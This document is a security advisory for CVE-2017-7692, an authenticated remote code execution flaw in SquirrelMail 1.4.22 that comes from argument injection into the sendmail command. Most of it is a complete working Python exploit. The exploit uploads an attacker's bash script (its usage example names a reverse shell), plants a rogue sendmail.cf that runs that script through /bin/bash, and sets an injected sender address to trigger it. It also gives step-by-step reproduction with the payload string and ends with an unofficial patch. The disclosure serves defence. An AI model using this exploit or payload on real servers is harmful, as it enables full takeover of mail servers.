Details

Squirrelmail version 1.4.22 (and probably prior) is vulnerable to a remote code execution vulnerability because it fails to sanitize a string before passing it to a popen call. It’s possible to exploit this vulnerability to execute arbitrary shell commands on the remote server.

The problem is in Deliver_SendMail.class.php on initStream function that uses escapeshellcmd() to sanitize the sendmail command before executing it. The use of escapeshellcmd() is not correct in this case since it don’t escapes whitespaces allowing the injection of arbitrary command parameters.

$this->sendmail_command = "$sendmail_path $this->sendmail_args -f$envelopefrom";     
$stream = popen(escapeshellcmd($this->sendmail_command), "w");

The $envelopefrom variable is controlled by the attacker, hence it’s possible to trick sendmail to use an attacker-provided configuration file that triggers the execution of an arbitrary command.

In order to exploit this vulnerability the MTA in use must be sendmail and Squirrelmail must be configured to use it as commandline (useSendmail directive of the config file set to true).
Also, the edit_identity directive of the config file must be set to true, but this is the default configuration.

To reproduce the issue follow these steps:

1. Create a rogue sendmail.cf that triggers the execution of a /usr/bin/touch:

   [...]
   Mlocal, P=/usr/bin/touch, F=lsDFMAw5:/|@qPn9S, S=EnvFromL/HdrFromL, R=EnvToL/HdrToL,
   T=DNS/RFC822/X-Unix,
   A=X /tmp/executed
   

2. Upload it as a mail attachment and get it’s remote name (ex: lF51mGPJwdqzV3LEDlCdSVNpohzgF7sD)
3. Go to Options -> Personal Informations and set the following payload as Email Address:

   <aaa@abc.com -OQueueDirectory=/tmp  -C /var/local/squirrelmail/attach/lF51mGPJwdqzV3LEDlCdSVNpohzgF7sD>
   

4. Send an email
5. Verify the execution of the command with “ls /tmp/executed” on the remote server

PoC

The followig python script exploits this vulnerability to execute an attacker provided bash script on the remote server.

#!/usr/bin/env python
# -*- coding: utf-8 -*- 

"""

SquirrelMail 1.4.22 Remote Code Execution (authenticated) 
Exploit code for CVE-2017-7692
filippo.cavallarin@wearesegment.com

"""

from __future__ import unicode_literals
import sys
import os
import re
import requests

reload(sys)
sys.setdefaultencoding('utf8')


SENDMAILCF="/tmp/squirrelmail1_4_22-sendmailcf-rce"
COMPOSE = "/src/compose.php"
INFOS = "/src/options.php?optpage=personal"
SQM_ATTACH_PATH = "/var/local/squirrelmail/attach/"
# must be enclosed in <> otherwise spaces will be removed ..
SENDER = "<px@xxxx.com -OQueueDirectory=/tmp  -C %s%s>"


SESSID = ""
BASEURL = ""


def attach(attachment):
  url = "%s%s" % (BASEURL, COMPOSE)
  token = get_csrf_token(url)

  values = {
    "smtoken": token,
    "attach": "add"
  }

  try:
    files = {'attachfile': open(attachment,'rb')}
    resp = requests.post(url, files=files, data=values, cookies={'SQMSESSID':SESSID})
    fname = re.search(r'att_local_name";s:[0-9]+:"([a-zA-Z0-9]+)"', resp.text)
    if not fname:
      print "\nError: unable to upload file %s" % attachment
    return fname.group(1)

  except Exception as e:
    print "\nError: %s" % e
    sys.exit(1)


def send():
  url = "%s%s" % (BASEURL, COMPOSE)
  token = get_csrf_token(url)

  values = {
    "smtoken": token,
    "send_to": "root",
    "send": "Send"
  }

  try:
    resp = requests.post(url, data=values, cookies={'SQMSESSID':SESSID})
  except Exception as e:
    print "\nError: %s" % e
    sys.exit(1)


def set_identity(sender):
  url = "%s%s" % (BASEURL, INFOS)
  token = get_csrf_token(url)
  values = {
    "smtoken": token,
    "optpage": "personal",
    "optmode": "submit",
    "new_email_address": sender,
    "submit_personal": "Submit"
  }

  try:
    requests.post(url, data=values, cookies={'SQMSESSID':SESSID})
  except Exception as e:
    print "\nError: %s" % e
    sys.exit(1)


def get_csrf_token(url):
  try:
    body = requests.get(url, cookies={'SQMSESSID':SESSID}).text
    inp = re.search(r'<input.*name="smtoken".*>', body, re.MULTILINE)
    token = re.search(r'value="([a-zA-Z0-9]+)"', inp.group(0))
    if token:
      return token.group(1)
  except Exception as e:
    pass

  print "\nUnable to get CSRF token"
  sys.exit(1)

def outw(s):
  sys.stdout.write(s)
  sys.stdout.flush()

def main(argv):
  global BASEURL
  global SESSID

  if len(argv) != 4:
    print (
        "SquirrelMail 1.4.22 Remote Code Execution (authenticated) - filippo.cavallarin@wearesegment.com\n"
        "The target server must use sendmail and squirrelmail must be configured to use /usr/bin/sendmail\n"
        "Usage:\n"
        "  %s <url> <session_id> <script>\n"
        "      url: the url of squirrelmail\n"
        "      session_id: the value of SQMSESSID cookie\n"
        "      script: the path to the bash script to be uploaded and executed on the target\n"
        "Example:\n"
        "  %s http:/example.com/squirrelmail/ l2rapvcovsui1on0b4i5boev24 reverseshell.sh"
      ) % (argv[0], argv[0])

    sys.exit(1)

  BASEURL = argv[1]
  SESSID = argv[2]
  script = argv[3]

  outw("Uploading script ... ")
  script_fname = attach(script)
  print "ok"


  outw("Generating sendmail.cf ... ")
  try:
    script_path = "%s%s" % (SQM_ATTACH_PATH, script_fname)
    with open(SENDMAILCF, 'w') as f:
      f.write(SENDMAILCF_CONTENT % script_path)
  except Exception as e:
    print "\nError: %s" % e
    sys.exit(1)
  print "ok"

  outw("Uploading sendmail.cf ... ")
  smc_fname = attach(SENDMAILCF)
  os.remove(SENDMAILCF)
  print "ok"

  outw("Updating user options ... ")
  sender = SENDER % (SQM_ATTACH_PATH, smc_fname)
  set_identity(sender)
  print "ok"

  outw("Checking identity field ... ")
  icheck = requests.get("%s%s" % (BASEURL, INFOS), cookies={'SQMSESSID':SESSID}).text
  if not smc_fname in icheck:
    print "\nError: unable to set identity field .. maybe squirrelmail is configured with edit_identity=false"
    sys.exit(1)
  print "ok"

  outw("Executing script ... ")
  send()
  print "ok\n"
  sys.exit(0)






SENDMAILCF_CONTENT = """
O DontBlameSendmail=,AssumeSafeChown,ForwardFileInGroupWritableDirPath,GroupWritableForwardFileSafe,GroupWritableIncludeFileSafe,IncludeFileInGroupWritableDirPath,DontWarnForwardFileInUnsafeDirPath,TrustStickyBit,NonRootSafeAddr,GroupWritableIncludeFile,GroupReadableDefaultAuthInfoFile
Kdequote dequote
Scanonify=3
R$@     $@ <@>
R$*     $: $1 <@>     mark addresses
R$* < $* > $* <@> $: $1 < $2 > $3     unmark <addr>
R@ $* <@>   $: @ $1       unmark @host:...
R$* [ IPv6 : $+ ] <@> $: $1 [ IPv6 : $2 ]   unmark IPv6 addr
R$* :: $* <@>   $: $1 :: $2     unmark node::addr
R:include: $* <@> $: :include: $1     unmark :include:...
R$* : $* [ $* ]   $: $1 : $2 [ $3 ] <@>   remark if leading colon
R$* : $* <@>    $: $2       strip colon if marked
R$* <@>     $: $1       unmark
R$* ;        $1       strip trailing semi
R$* < $+ :; > $*  $@ $2 :; <@>      catch <list:;>
R$* < $* ; >       $1 < $2 >      bogus bracketed semi
R$@     $@ :; <@>
R$*     $: < $1 >     housekeeping <>
R$+ < $* >       < $2 >     strip excess on left
R< $* > $+       < $1 >     strip excess on right
R<>     $@ < @ >      MAIL FROM:<> case
R< $+ >     $: $1       remove housekeeping <>
R@ $+ , $+    $2
R@ [ $* ] : $+    $2
R@ $+ : $+    $2
R $+ : $* ; @ $+  $@ $>Canonify2 $1 : $2 ; < @ $3 > list syntax
R $+ : $* ;   $@ $1 : $2;     list syntax
R$+ @ $+    $: $1 < @ $2 >      focus on domain
R$+ < $+ @ $+ >   $1 $2 < @ $3 >      move gaze right
R$+ < @ $+ >    $@ $>Canonify2 $1 < @ $2 >  already canonical
R$- ! $+    $@ $>Canonify2 $2 < @ $1 .UUCP >  resolve uucp names
R$+ . $- ! $+   $@ $>Canonify2 $3 < @ $1 . $2 >   domain uucps
R$+ ! $+    $@ $>Canonify2 $2 < @ $1 .UUCP >  uucp subdomains
R$* %% $*   $1 @ $2       First make them all @s.
R$* @ $* @ $*   $1 %% $2 @ $3     Undo all but the last.
R$* @ $*    $@ $>Canonify2 $1 < @ $2 >  Insert < > and finish
R$*     $@ $>Canonify2 $1
SCanonify2=96
R$* < @ localhost > $*    $: $1 < @ $j . > $2   no domain at all
R$* < @ localhost . $m > $* $: $1 < @ $j . > $2   local domain
R$* < @ localhost . UUCP > $* $: $1 < @ $j . > $2   .UUCP domain
R$* < @ [ $+ ] > $*   $: $1 < @@ [ $2 ] > $3    mark [addr]
R$* < @@ $=w > $*   $: $1 < @ $j . > $3   self-literal
R$* < @@ $+ > $*    $@ $1 < @ $2 > $3   canon IP addr
Sfinal=4
R$+ :; <@>    $@ $1 :       handle <list:;>
R$* <@>     $@        handle <> and list:;
R$* < @ $+ . > $* $1 < @ $2 > $3
R$* < @ *LOCAL* > $*  $1 < @ $j > $2
R$* < $+ > $*   $1 $2 $3      defocus
R@ $+ : @ $+ : $+ @ $1 , @ $2 : $3    <route-addr> canonical
R@ $*     $@ @ $1       ... and exit
R$+ @ $- . UUCP   $2!$1       u@h.UUCP => h!u
R$+ %% $=w @ $=w    $1 @ $2       u%%host@host => u@host
SRecurse=97
R$*     $: $>canonify $1
R$*     $@ $>parse $1
Sparse=0
R$*     $: $>Parse0 $1    initial parsing
R<@>      $#local $: <@>    special case error msgs
R$*     $: $>ParseLocal $1  handle local hacks
R$*     $: $>Parse1 $1    final parsing
SParse0
R<@>      $@ <@>      special case error msgs
R$* : $* ; <@>    $#error $@ 5.1.3 $: "553 List:; syntax illegal for recipient addresses"
R@ <@ $* >    < @ $1 >    catch "@@host" bogosity
R<@ $+>     $#error $@ 5.1.3 $: "553 User address required"
R$+ <@>     $#error $@ 5.1.3 $: "553 Hostname required"
R$*     $: <> $1
R<> $* < @ [ $* ] : $+ > $* $1 < @ [ $2 ] : $3 > $4
R<> $* < @ [ $* ] , $+ > $* $1 < @ [ $2 ] , $3 > $4
R<> $* < @ [ $* ] $+ > $* $#error $@ 5.1.2 $: "553 Invalid address"
R<> $* < @ [ $+ ] > $*    $1 < @ [ $2 ] > $3
R<> $* <$* : $* > $*  $#error $@ 5.1.3 $: "553 Colon illegal in host name part"
R<> $*      $1
R$* < @ . $* > $* $#error $@ 5.1.2 $: "553 Invalid host name"
R$* < @ $* .. $* > $* $#error $@ 5.1.2 $: "553 Invalid host name"
R$* < @ $* @ > $* $#error $@ 5.1.2 $: "553 Invalid route address"
R$* @ $* < @ $* > $*  $#error $@ 5.1.3 $: "553 Invalid route address"
R$* , $~O $*    $#error $@ 5.1.3 $: "553 Invalid route address"
R$* < @ > $*    $@ $>Parse0 $>canonify $1 user@ => user
R< @ $=w . > : $* $@ $>Parse0 $>canonify $2 @here:... -> ...
R$- < @ $=w . >   $: $(dequote $1 $) < @ $2 . > dequote "foo"@here
R< @ $+ >   $#error $@ 5.1.3 $: "553 User address required"
R$* $=O $* < @ $=w . >  $@ $>Parse0 $>canonify $1 $2 $3 https://www.wearesegment.com/research/squirrelmail-remote-code-execution/...@here -> ...
R$-       $: $(dequote $1 $) < @ *LOCAL* >  dequote "foo"
R< @ *LOCAL* >    $#error $@ 5.1.3 $: "553 User address required"
R$* $=O $* < @ *LOCAL* >
      $@ $>Parse0 $>canonify $1 $2 $3 https://www.wearesegment.com/research/squirrelmail-remote-code-execution/...@*LOCAL* -> ...
R$* < @ *LOCAL* > $: $1
SParse1
R$* < @ [ $+ ] > $* $: $>ParseLocal $1 < @ [ $2 ] > $3  numeric internet spec
R$* < @ [ $+ ] > $* $: $1 < @ [ $2 ] : $S > $3  Add smart host to path
R$* < @ [ $+ ] : > $*   $#esmtp $@ [$2] $: $1 < @ [$2] > $3 no smarthost: send
R$* < @ [ $+ ] : $- : $*> $*  $#$3 $@ $4 $: $1 < @ [$2] > $5  smarthost with mailer
R$* < @ [ $+ ] : $+ > $*  $#esmtp $@ $3 $: $1 < @ [$2] > $4 smarthost without mailer
R$=L < @ $=w . >  $#local $: @ $1     special local names
R$+ < @ $=w . >   $#local $: $1     regular local name
R$* < @ $* > $*   $: $>MailerToTriple < $S > $1 < @ $2 > $3 glue on smarthost name
R$* < @$* > $*    $#esmtp $@ $2 $: $1 < @ $2 > $3 user@host.domain
R$=L      $#local $: @ $1   special local names
R$+     $#local $: $1     regular local names
SLocal_localaddr
Slocaladdr=5
R$+     $: $1 $| $>"Local_localaddr" $1
R$+ $| $#ok   $@ $1     no change
R$+ $| $#$*   $#$2
R$+ $| $*   $: $1
R$+ + *     $#local $@ $&h $: $1
R$+ + $*    $#local $@ + $2 $: $1 + *
R$+     $: <> $1
R< > $+     $: < > < $1 <> $&h >    nope, restore +detail
R< > < $+ <> + $* > $: < > < $1 + $2 >    check whether +detail
R< > < $+ <> $* > $: < > < $1 >     else discard
R< > < $+ + $* > $*    < > < $1 > + $2 $3   find the user part
R< > < $+ > + $*  $#local $@ $2 $: @ $1   strip the extra +
R< > < $+ >   $@ $1       no +detail
R$+     $: $1 <> $&h      add +detail back in
R$+ <> + $*   $: $1 + $2      check whether +detail
R$+ <> $*   $: $1       else discard
R< local : $* > $*  $: $>MailerToTriple < local : $1 > $2 no host extension
R< error : $* > $*  $: $>MailerToTriple < error : $1 > $2 no host extension
R< $~[ : $+ > $+  $: $>MailerToTriple < $1 : $2 > $3 < @ $2 >
R< $+ > $+    $@ $>MailerToTriple < $1 > $2 < @ $1 >
SParseLocal=98
SEnvFromL
R<@>      $n      errors to mailer-daemon
R@ <@ $*>   $n      temporarily bypass Sun bogosity
R$+     $: $>AddDomain $1 add local domain if needed
R$*     $: $>MasqEnv $1   do masquerading
SEnvToL
R$+ < @ $* >    $: $1     strip host part
R$+ + $*    $: < $&{addr_type} > $1 + $2  mark with addr type
R<e s> $+ + $*    $: $1     remove +detail for sender
R< $* > $+    $: $2     else remove mark
SHdrFromL
R<@>      $n      errors to mailer-daemon
R@ <@ $*>   $n      temporarily bypass Sun bogosity
R$+     $: $>AddDomain $1 add local domain if needed
R$*     $: $>MasqHdr $1   do masquerading
SHdrToL
R$+     $: $>AddDomain $1 add local domain if needed
R$*     $: $>MasqHdr $1   do all-masquerading
SAddDomain
R$* < @ $* > $*   $@ $1 < @ $2 > $3 already fully qualified
R$+     $@ $1 < @ *LOCAL* > add local qualification
Mlocal,   P=/bin/bash, F=lsDFMAw5:/|@qPn9S, S=EnvFromL/HdrFromL, R=EnvToL/HdrToL,
    T=DNS/RFC822/X-Unix,
    A=X %s
Mprog,    P=/bin/sh, F=lsDFMoqeu9, S=EnvFromL/HdrFromL, R=EnvToL/HdrToL, D=$z:/,
    T=X-Unix/X-Unix/X-Unix,
    A=sh -c $u

"""



if __name__ == '__main__':
  main(sys.argv)

Solution

No official fix is available.
The following unofficial patch can be used to fix this vulnerability.

    diff -ruN squirrelmail-webmail-1.4.22/class/deliver/Deliver_SendMail.class.php squirrelmail-webmail-1.4.22-fix-CVE-2017-7692/class/deliver/Deliver_SendMail.class.php
--- squirrelmail-webmail-1.4.22/class/deliver/Deliver_SendMail.class.php  2011-01-06 02:44:03.000000000 +0000
+++ squirrelmail-webmail-1.4.22-fix-CVE-2017-7692/class/deliver/Deliver_SendMail.class.php  2017-04-18 11:42:26.505181944 +0000
@@ -93,9 +93,9 @@
         $envelopefrom = trim($from->mailbox.'@'.$from->host);
         $envelopefrom = str_replace(array("\0","\n"),array('',''),$envelopefrom);
         // save executed command for future reference
-        $this->sendmail_command = "$sendmail_path $this->sendmail_args -f$envelopefrom";
+        $this->sendmail_command = escapeshellcmd("$sendmail_path $this->sendmail_args -f") . escapeshellarg($envelopefrom);
         // open process handle for writing
-        $stream = popen(escapeshellcmd($this->sendmail_command), "w");
+        $stream = popen($this->sendmail_command, "w");
         return $stream;
     }

Note

Dawid Golunski discovered this vulnerability and reported it to the vendor in January.
See the seclists.org thread below for details. https://seclists.org/fulldisclosure/2017/Apr/100